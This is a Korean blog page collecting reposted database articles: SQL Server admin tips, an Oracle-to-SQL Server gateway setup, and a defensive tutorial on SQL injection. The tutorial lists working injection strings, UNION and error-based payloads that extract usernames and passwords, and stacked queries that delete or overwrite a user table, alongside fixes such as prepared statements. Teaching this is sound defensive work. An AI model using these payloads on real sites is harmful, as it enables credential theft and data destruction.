DBMS/MS-SQL2006. 10. 16. 11:33

SQL 서버 관리자가 알아야 할 11가지 유용한 팁

1. 데이터베이스의 모든 테이블 행을 가장 빨리 세는 방법

SQL 서버 데이터베이스 내에 존재하는 시스템 테이블 'sysindexes'에는 'rows'란 컬럼이 존재한다. 이 컬럼은 테이블에 반영된 행들의 수를 갖고 있다. 다음 SQL문을 실행시키면 원하는 결과를 효과적으로 얻을 수 있을 것이다.

select o.name, rows from sysobjects o inner join sysindexes i on o.id = i.id where i.indid < 2 order by o.name

where 절의 "indid<2" 부분은 클러스터드 인덱스(clustered index) 또는 힙(heap) 정보를 찾지 않기 위함이다. 이 결과는 실제로 트랜잭션(transaction)이 일어난 행만 카운트한다.



2. 스토어드 프로시져에 대한 파라미터로 테이블 이름을 사용하는 방법



이것을 위해서는 동적인 SQL을 사용해야 한다. 다음 스크립트를 참조하기 바란다.

Create proc dbcc_table @tabname varchar(30) as BEGIN Exec ("dbcc checktable (" + @tabname + ")") END go /*** 스토어드 프로시져를 테스트하려면 ***/ dbcc_table syslogs

3. 모든 테이블을 BCP 하기 위한 스크립트 작성 방법

Select "bcp " + db_name() + ".." + name + " out c:\temp" + name + ".txt /c -t\t -SserverName -UuserID -Ppassword /b1000" from sysobjects where type = "U" order by name

위의 예는 모든 데이터베이스 객체가 데이터베이스 오우너(owner) 또는 DBO에 의해 소유되었다는 가정 아래 작성되었다. 위의 예는 윈도 커맨드 파일 또는 배치 파일로 저장하여 실행할 수 있는 스크립트를 만들 것이다. 결과물은 탭 구분자로 분리된 텍스트가 될 것이다.



BCP(Bulk Copy Program)에 대한 파라미터에 대해 좀 더 알기 원하면 Books Online에서 BCP를 찾아 보거나, 커맨드 윈도우에서 BCP /?를 실행시켜 보기 바란다.



원한다면 ISQL에서 xp_cmdshell과 함께 실행시킬 수도 있다. 파일 경로에서 나타난 드라이브 문자는 서버에 있는 것이지 클라이언트 PC에 있는 것이 아님을 기억하기 바란다.



위의 스크립트에서 /b 옵션을 준 것을 기억하라. 만일 이 옵션을 사용하지 않으면 대량의 파일을 데이터베이스로 복사할 때 하나의 작업으로 처리하게 된다. 하지만 "/b 1000" 옵션을 사용함으로써 1000라인의 트랜잭션 단위로 작업을 나누어 하게 된다.



4. 어떤 파일이 디스크 상에 존재하는지 조사하는 방법



서버 상에서 파일 정보를 얻으려면 다음과 같이 xp_getfiledetails란 확장 스토어드 프로시져를 사용하면 된다.

Master..xp_getfiledetails "c:\mssql\binn\sqlservr.exe"

5. 남은 디스크 공간을 알아내는 방법



서버에 남아있는 디스크 공간을 알아내려면 다음과 같이 xp_fixeddrives란 확장 스토어드 프로시져를 사용하면 된다. 만일 SQL 서버 6.5에서 실행한다면 Bytes free 컬럼의 실제 단위는 Bytes가 아니라 Megabytes free임을 조심해야 한다.

Master..xp_fixeddrives

6. 리모트 상에서 서버 셧다운(shut down) 시키는 방법



윈도 NT 리소스 킷(Resource Kit)을 보면 shutdown과 shutgui란 두 개의 유틸리티가 있는게 이 유틸리티들을 활용하면 된다. 조심해야할 것은 서버를 바로 재부팅하는 것이 디폴트 옵션이 아니라는 것이다. 만일 이 옵션을 잘못 설정했다면 결국 서버를 작동시키기 위해 서버가 있는 기계쪽으로 가야만 할 것이다.



7. SQL 서버의 자세한 버전 정보를 보는 방법



다음과 같이 xp_msver 스토어드 프로시져를 사용하면 된다.

Master..xp_msver

이 스토어드 프로시져에 대한 MSDN 자료를 보고 싶다면 아래 링크를 클릭하기 바란다.



Master..xp_msver 자세히 보기 - http://msdn.microsoft.com/library/default.asp?url=/library/en-us/tsqlref/ts_xp_aa-sz_0o4y.asp



8. SQL 서버 이벤트 로그 순환시키는 방법



SQL 서버를 관리하다 보면 이벤트 로그 사이즈가 겉잡을 수 없이 커지게되는 것을 볼 수 있다. 많은 사람들은 이 문제를 햐결하기 위해 SQL 서버를 멈췄다가 다시 시작하곤 한다. 하지만 다음과 같이 dbcc errorlog를 이용하면 이 문제를 쉽게 해결할 수가 있다.



dbcc errorlog



이 명령어는 문서화되어 있지 않은 명령어이다. 그렇기 때문에 이 명령어를 사용할 경우 책임은 전적으로 사용자에게 있게 됨을 주의하도록 하자.



9. 서버 레지스트리 값을 읽는 방법



확장 스토어드 프로시져인 XP_REGREAD를 이용하면 서버의 레지스트리 값을 읽어낼 수가 있다. 다음 예는 NT 4 서비스 팩 버전 정보를 레지스트리로부터 읽어 표시하는 예이다.

master..xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion', @value_name = 'CSDVersion'

10. 스토어드 프로시져를 자동으로 실행하게 하는 방법



SQL 서버가 기동될 때마다 자동으로 하나 이상의 스토어드 프로시져를 작동시키고 싶은 경우들이 있다. 예상치 않게 서버가 재부팅됐다거나 SQL 서버가 시작될 때 특정 프로세스를 실행해야할 경우 유용하게 사용할 수가 있을 것이다.



SQL 서버 6.5에서는 master 데이터베이스에 해당 스토어드 프로시져를 저장한 후 다음과 같은 명령을 실행시키면 된다:

sp_makestartup "procedure_name"

SQL 서버 7 또는 2000에서는 대신 sp_procoption 스토어드 프로시져를 사용하면 된다. 이에 대한 자세한 사항은 다음 msdn 자료를 참조하기 바란다.



sp_procoption 설명 보기 : http://msdn.microsoft.com/library/default.asp?url=/library/en-us/tsqlref/ts_sp_pa-pz_95m6.asp



11. 백업하지 않은 데이터베이스 복구시키는 방법



물론 정기적으로 데이터베이스 백업을 점검하고 테스트하는 관리자라면 이 팁은 무시해도 된다.



하지만 어떤 경우 백업을 하지 않아 데이터를 복원할 때 난감해하는 사람이 있을지도 모르겠다. 이럴 경우 .LDF(로그 파일)와 .MDF 파일을 스토어드 프로시져를 이용하여 SQL 서버에 다시 어태치(attach)시킴으로써 데이터를 종종 복원시킬 수도 있다. 항상 가능한 것은 아니지만 안해보는 것보단 나을 것이다.



이와 관련된 스토어드 프로시져는 sp_attach_db이다. 이 스토어드 프로시져에 대한 자세한 설명은 다음 msdn 자료를 참조하기 바란다.



sp_attach_db 설명 보기 : http://msdn.microsoft.com/library/default.asp?url=/library/en-us/tsqlref/ts_sp_ae-az_52oy.asp



출처 : database.sarang.net

Posted by Blue*
DBMS/Oracle2006. 6. 7. 13:16

SQL -> ORACLE DATA 조회는 여러번 언급되어 왔기에

ORACLE -> SQL DATA 조회하는 방법을 소개한다.

은폐 게이트웨이 설치 및 설정

은폐 게이트웨이(Transparent Gateway)는 오라클 DBMS에 기본으로 설치되는 부분은 아니므로 은폐 게이트웨이가 설치되지 않았다면 Oracle Universal Installer에서 지정해 설치하도록 한다(Oracle Universal Installer에서 ‘Oracle9i Database 9.2.0.1.0 > Oracle Transparent Gateway 9.2.0.1.0’을 설치하면 된다). 설치시 <화면 5>와 같이 SQL 서버 및 데이터베이스를 입력하라고 나오는데, 본 예제에서는 SQL 서버에는 127.0.0.1, 데이터베이스는 Northwind로 설정했다(여기서는 SQL 서버가 은폐 게이트웨이와 같은 서버에 있다고 가정한다). 여기서 지정하는 데이터베이스가 은폐 게이트웨이로 접속했을 때, 사용할 수 있는 데이터베이스가 된다.

<화면 5> 은폐 게이트웨이 설치 화면

이렇게 은폐 게이트웨이의 설치를 마치면 『오라클 설치 폴더 | ora92 | tg4msql | admin』에 은폐 게이트웨이 설정 파일 및 수정에 필요한 샘플 파일이 생성된다.

◆ 은폐 게이트웨이 SID 선정 : SID는 서버 내에서 각 오라클 인스턴스 및 은폐 게이트웨이를 구별하는 구분자 역할을 하는데, 은폐 게이트웨이의 경우 디폴트로 tg4msql로 설정되어 있다. 따라서 은폐 게이트웨이 설정 파일명도 inittg4msql.ora로 되어 있다(설정 파일명은 init 은폐 게이트웨이 SID.ora 형식으로 되어 있다). SID를 변경하고자 한다면, inittg4msql.ora에서 init 변경된 SID.ora로 파일명을 변경해야 한다. 여기서는 디폴트 SID를 사용하도록 한다.

◆ 은폐 게이트웨이로 요청을 분배하기 위한 TNS Listener 설정 : 기본적으로 TNS 리스너는 오라클 클라이언트로부터 오라클 서버의 접속 요청을 받아 접속 요청 내에 포함된 SID를 확인한 뒤, 해당 SID를 가진 오라클 인스턴스에게 요청을 넘겨주는 역할을 한다. 이제 은폐 게이트웨이도 설치됐으므로 TNS Listener로 하여금 은폐 게이트웨이에 대한 접속 요청을 받아서 접속 요청 내에 포함된 SID를 확인한 뒤, 해당 SID를 가진 은폐 게이트웨이에 요청을 넘겨주도록 설정해야 한다. listener.ora와 tnsnames.ora를 <리스트 4>와 같이 수정하도록 한다. 수정 후에는 반드시 TNS 리스너를 재시작해 변경사항이 적용되도록 한다.



이제 오라클에서 SQL 서버를 사용하기 위한 은폐 게이트웨이에 필요한 설정은 모두 끝이 났다. 이제 오라클에 system 계정으로 로그인해 SQL 서버에 연결할 수 있도록 데이터베이스 링크를 만들어 주도록 하자(scott 계정에서 데이터베이스 링크를 만드는 것도 가능하지만 다른 데이터베이스를 접속하도록 인가하는 것은 DBA가 하는 것이 바람직하다).



CREATE PUBLIC DATABASE LINK ms CONNECT TO sa IDENTIFIED BY password USING 'hsagent';



그리고 scott 계정으로 접속해 데이터베이스 링크를 이용해 SQL 서버의 Northwind 데이터베이스를 오라클처럼 사용해 보도록 하자.

◆ SQL 서버 테이블 접근

SELECT * FROM Customers@ms WHERE rownum <= 3;

SELECT sum("col4") FROM test@ms

SELECT * FROM test@ms m, TEST ora WHERE m."col1" = ora.col1;





출처 : http://www.dbguide.net/dbqa/dbqa120001.jsp?mode=view&pg=1&idx=797

Posted by Blue*
Development2006. 4. 21. 15:29

Web Hacking 1탄 SQL Injection

Web Hacking 2탄 파일조작

Web Hacking 3탄 구멍난 자바스크립트





1. 시작하기

가끔 뉴스나 방송에서 xx 사이트 해킹 당했다 라고들 많이 들어보았을 겁니다

이런 뉴스를 접할때 대체 어떻게 해서 해킹이 당하는걸까? 라고들 많이 생각해 보았을 겁니다

어떻게 해킹이 일어나는지 알아야 방어도 가능하기 때문에 이번 강좌는 웹해킹에 대해 알아볼 것입니다



첫번재 시간으로 SQL Injection을 배울 것이며 그다음 두번째에는 파일조작으로 인한 해킹을,

그리고 마지막 시간에는 자바스크립트 조작에 대해 알아보겠습니다






도표에서도 알수 있듯이 SQL Injection으로 인한 해킹이 가장 간단하고 쉽기 때문에

이를 가장먼저 알아보겠습니다



SQL Injection 이란 서버나 OS의 구멍을 이용한 해킹방법이 아닌 웹 어플리케이션 자체의 버그를

이용한 새로운 형태의 웹해킹 방법입니다



정의를 하자면



SQL Injection은 웹페이지를 통해 입력된 파라미터값을 이용하여 쿼리를 재구성하는 방법이다



라고 할수 있습니다



즉 많은 웹페이지들은 사용자나 프로그램이 생성한 파라미터값을 이용해 쿼리를 만들고 실행하는데,

이때 정상적인 값이 아닌 파라미터값이 입력될 때 비정상적인 쿼리가 실행되며, 따라서

원하지 않는 결과가 나올수 있다는 것입니다



이해를 위해 바로 코드로 들어가 봅시다

아래 코드는 사용자가 입력한 로그인 아이디와 비밀번호로 로그인을 시도하는 로직입니다



// 입력받은 사용자 아이디와 비밀번호

String param1 = request.getParameter("user_id");

String param2 = request.getParameter("user_pw");



rs = stmt.executeQuery("SELECT count(*) FROM user_t WHERE userid = '"+param1+"' AND userpw = '"+param2+"'");

rs.next();

if (rs.getInt(1) == 1) {

  // 로그인 성공로직

} else {

  // 로그인 실패로직

}





무엇이 잘못되었을 까요?

코드상으로 보면 실행하는데 전혀 이상이 없는 코드이지만 쫌 아는사람들에게는 비밀번호 없이

아이디만 안다면 로그인을 성공할 수 있는 로직입니다




아아디가 goodbug 이고 비밀번호가 1111 인 계정이 있다고 합시다 ^^;

입력란에 googbug / 1111 을 입력하니 정상적으로 로그인이 true가 되었습니다

하지만 만약 다음과 같이 사용자가 입력한다면 어떻게 될까요?






로그인이 됩니다!

비밀번호에 상관없이 로그인이 되는군요!!

하다 더 보도록 하지요






위의 소스는 MySQL을 사용하고 있습니다

MySQL의 라인 주석처리는 # 입니다 아시죠?



즉 뒷부분 password를 체크하는 로직은 주석처리되어 버린겁니다 뜨아~



같은 의미이지만 아래처럼 여러가지 섞어서도 가능합니다




이게 만약 관리자 아이디였다면 문제는 더 심각해 집니다



이처럼 사용자의 고의로 인한 SQL을 조작하여 웹 어플리케이션 자체를 공격하는것이 SQL Injection 입니다



그렇다면 위의 소스를 어떻게 변경하는게 좋을까요?



// 입력받은 사용자 아이디와 비밀번호

String param1 = request.getParameter("user_id");

String param2 = request.getParameter("user_pw");



//validate 라는 함수는 아이디와 비밀번호 생성시 생성 로직에 맞게 되었는지 체크하는 함수

//만약 특수문자나 아이디 생성 규칙에 맞지 않는 값이면 exception을 throw 한다

validateID(param1); 

validatePW(param2);



pstmt = conn.prepareStatement("SELECT userid, userpw FROM user_t WHERE userid = ?");

pstmt.setString(1, param1);

rs = pstmt.executeQuery();

if (rs.next()) {

  // 문자를 직접 비교한다 (대소문자 구분)

  if (rs.getString(1).equals(param1) && rs.getString(2).equals(param2)) {

        // 로그인 성공로직

  } else {

       // 로그인 비밀번호 혹은 아이디 오류 로직

  }

} else {

  //로그인 부재 아이디 오류 로직

}

위처럼 하면 어느정도 되겠네요 ^^





2. SQL Injection 패턴



그럼 SQL Injection에 사용될만한 문자열에는 어떤것이 있을까요?



아래 문자들은 해당 데이터베이스에따라 달라질 수 있습니다

문자

설명

'문자 데이터 구분기호
;쿼리 구분 기호
--, #해당라인 주석 구분 기호
/* *//* 와 */ 사이 구문 주석


일반적으로 알려진 몇가지 패턴입니다



' or 1=1--

" or 1=1--

or 1=1--

' or 'a'='a

" or "a"="a

') or ('a'='a

' or password like '%



이러한 패턴들로 타겟 데이터베이스가 오라클인지 MySQL인데 혹은 M$SQL인지 확인할 필요가 있을겁니다. 왜냐하면 그것에 따라 다양한 공격 방법이 생기기 때문입니다

그럼 이러한 구분은 그럼어떻게 할까요?



SQL Injection을 이용하여 다음값이 true인지 false인지 확인합니다

AND 'abcd' = 'ab' + 'cd'

true 이면 오라클은 아닐겁니다 오라클은 ||을 문자열 concat 으로 사용하지요



AND 'abcd' = 'ab' || 'cd'

true 이면 오라클입니다

rownum 도 구분할수 있는 좋은 예입니다



MySQl은 라인 주석이 #입니다 다른 대부분 데이터베이스는 --를 사용하지요

#을 SQL Injection 하였을때 위의 예처럼 에러가 발생하지 않으면 MySQL입니다

또 limit 등도 도움이 될겁니다



이처럼 해당 데이터베이스가 고유하게 사용하는 key들을 SQL Injection하여 구분할 수 있습니다





3. UNION SQL Injection

위와같이 WHERE절에 SQL Injection을 사용하여 조건절을 무력화 시키는 방법도 있지만

UNION SQL Injection은 원하는 정보도 뽑아볼 수 있습니다 ^^V



코드로 바로 봅시다

아래 코드는 게시물번호를 파라미터로 받아 해당 게시물이 존재하면 글번호와 글제목, 글내용을 조회하는 코드입니다



String param1 = request.getParameter("boardno");



rs = stmt.executeQuery("SELECT boardno, boardtitle, boardcontent FROM board_t WHERE boardno = '"+param1+"'");

if (rs.next()) {

  out.println(rs.getString(1)+"<br>");

  out.println(rs.getString(2)+"<br>");

  out.println(rs.getString(3)+"<br>");

}



무엇이 잘못되었을까요?




글번호가 1134896409234 인 게시물은 다음과 같이 URL이 요청되어 조회가 될겁니다

요청 URL

/read.jsp?bno=1134896409234



하지만 위와 같이 추가적으로 UNION SQL Injection이 들어갈 수 있습니다

/read.jsp?bno=1134896409234' UNION SELECT '1', userid, userpw FROM user_t WHERE userid = 'goodbug'  ORDER BY boardno ASC #



그러면 goodbug라는 아이디의 비밀번호가 그만 조회되어 버립니다!!

그럼 user_t 라는 테이블과 ,userid, userpw라는 컬럼명들은 어떻게 알수 있을까요?



오라클 이라면 다음과 같이 알아낼 수 있습니다

/read.jsp?bno=1134896409234' UNION SELECT '1', tname, '' FROM user_tables WHERE like '%user%' ORDER BY boardno ASC --



테이블 명을 알아냈다면 이제 컬럼명을 알아봐야겠죠

오라클이라면 user_tab_columns view를 통해 알아볼 수 있습니다

SELECT * FROM user_tab_columns WHERE table_name = 'user_t'



물론 한번에 알아낼수 없으며 많은 시행착오를 겪어야 하는것은 필수입니다

그래서 제로보드나 Unicorn 같은 공개 게시판인 경우는 타겟이 되기 쉽상입니다



MySQl이나 Oracle JDBC에서는 다행히도 ; 문자를 이상 캐릭터로 보고 에러를 반환합니다

하지만 그렇지 않은 JDBC가 있따면 큰일입니다 아래와 같은 코드가 가능하기 때문이지요



/read.asp?bno=1134896409234';DELETE FROM user_t

/read.asp?bno=1134896409234';UPDATE user_t SET userpw = '1111'



PHP나 ASP인 경우에는 가능한 쿼리 입니다

이제 대강 SQL Injection에 대해 감이 잡히시나요?





4. 에러 메세지를 통한 정보수집

admin_login 이라는 관리자 테이블과 login_name이라는 컬럼을 알아 냈다고 한다면..

M$SQL인 경우를 예를 들겠습니다



/read.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--



Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'goodbug' to a column of data type int.

/read.asp, line 5

라는 메세지가 나옵니다

여기서 무순 정보를 알수 있을까요? 바로 goodbug 라는 관리자 아이디가 있다는 것을 알았습니다

그럼 여참에 비밀번호까지 알아봅시다



/read.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='goodbug'--



Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '1111' to a column of data type int.

/read.asp, line 5



즉 nvarchar 타입의 컬럼을 int형으로 convert를 유도하면서 해당값을 에러메세지로부터 취득할 수 있습니다



가능하면 에러 메세지는 일반 유저에게 뿌리지 말아야 겠지요?





5. 그렇다면 막아보자 SQL Injection

해커라고 컴퓨터 한두번 두둘겨서 어느 한 사이트를 뚝딱 해킹하지는 못합니다

웹 해킹을 하기 위해서는 보통 짧으면 일주일에서 길면 몇달까지 해커는 치밀한 준비를 한다고 합니다

웹페이지들이 전달하는 모든 파라미터를 조사하고 반복되는 에러 화면을 보면서

여러 패턴별로 치밀하게 조사후 시행을 한다고 하네요



그렇다면 어떻게 이들로부터 웹 어플리케이션을 보호할 수 있을까요?

다음과 같은 원칙을 지킨다면 이러한 SQL Injection을 사전에 방지할 수 있습니다



프로그래머의 적극적인 의지가 있어야 합니다!

  -. 여러가지 신경써야 할곳도 많고 입력값에 대한 체크로직 또한 늘어날 것입니다

      많은 귀차니즘이 생길겁니다

      머 누가 장난치겠어? 라는 생각이 많은 빵꾸를 만듭니다



사용자가 직접 입력하는 파라미터는 절대 신뢰하지 않아야 합니다!

  -.  입력값은 javascript 뿐만 아니라 서버측에서도 체크를 해야 합니다

       숫자만 받은 입력칸이면 반드시 javascript 체크와 동시에 서버측에서도 숫자만 입력되었는지 체크해야 합니다

  -. 필요하다면 특수문자는 필터링해 버립시다 ( ‘ “ / \ : ; Space < > )

  -. 또 가능하다면 SQL 명령도 필터링 해버립시다 (UNION, SELECT, DELETE, INSERT, UPDATE, DROP..)



사용자 입력을 받아 SQL을 작성하는 부분은 반드시 PreparedStatement를 사용하여 바인딩 처리 합니다!!

  -. PreparedStatement는 SQL Injection을 원천적으로 봉쇄합니다

  -. 꼬~옥 필요한곳만 Statement를 사용합니다



웹에서 사용하는 유저는 OS계정 뿐만 아니라 데이터베이스 계정또한 가능한 권한을 낮춥니다!!

에러 메세지를 노출하지 않습니다!!

  -. 에러 메세지는 해커들에게 많은 정보를 제공해 줍니다

      가능하면 유저에게 알리지 말고 은밀하게 보관해야 합니다



동적 SQL은 가능하면 생성하지 않는다!!

  -. 가능한 동적 SQL은 지양하며, 비지니스로직상 동적 SQL이 어쩔수 없다면 파라미터 검사를 충분히 해야한다



많은분들이 아시는 내용이지만 처음보시는분에겐 많은 도움이 되실겁니다 ^^



출처 : http://blog.naver.com/classic2u/50002735625



Posted by Blue*
DBMS2006. 3. 29. 09:54


http://www.en-core.com/bin/main/module/solution/list.asp?board_id=solution&flash_menu=c1



DB와 관련해서 읽어봐두면 좋은 글이 무지무지 많아요~

단, 로그인 해야지만 내용을 볼 수 있습니다..;;



Posted by Blue*